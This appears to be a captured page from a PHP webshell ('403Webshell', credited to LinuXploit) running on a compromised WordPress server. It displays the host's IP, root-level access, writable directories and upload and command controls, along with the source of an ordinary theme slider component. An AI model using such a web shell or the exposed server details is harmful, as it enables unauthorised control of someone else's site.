403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/themes/erc04961/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/themes/erc04961/components/class-roof-slider.php
<?php

class Component_Roof_Slider {

    protected static $params = [
        'repeater' => null
    ];

    public static function get_render( $params = [] ) {
        $options = wp_parse_args( $params, self::$params );
        ob_start();

        $slider = $options['repeater']. '_roof_slider';
        ?>
        <?php if (have_rows( $slider )) : ?>
            <div class="roof-slider">
                <div class="roof-slider__top"><?php MOZ_SVG::svg('roof'); ?></div>
                <div class="roof-slider__inner" data-roof-slider>
                    <?php while (have_rows( $slider )) : the_row();
                        $image = get_sub_field('image');
                        ?>
                        <div class="roof-slider__item">
                            <?php MOZ_Image::background( $image['id'], 'Medium', array(
                                'large' => '(min-width: 768px)'
                            ), array( 'class' => '' ), array( 'lazy' => false ) ); ?>
                        </div>
                    <?php endwhile; ?>
                </div>
                <div class="roof-slider__controls">
                    <div class="roof-slider__prev"><?php MOZ_SVG::svg('arrow'); ?></div>
                    <div class="roof-slider__next"><?php MOZ_SVG::svg('arrow'); ?></div>
                </div>

            </div>
        <?php endif; ?>

        <?php
        return ob_get_clean();
    }

    public static function render( $params = [] ) {
        echo self::get_render( $params );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit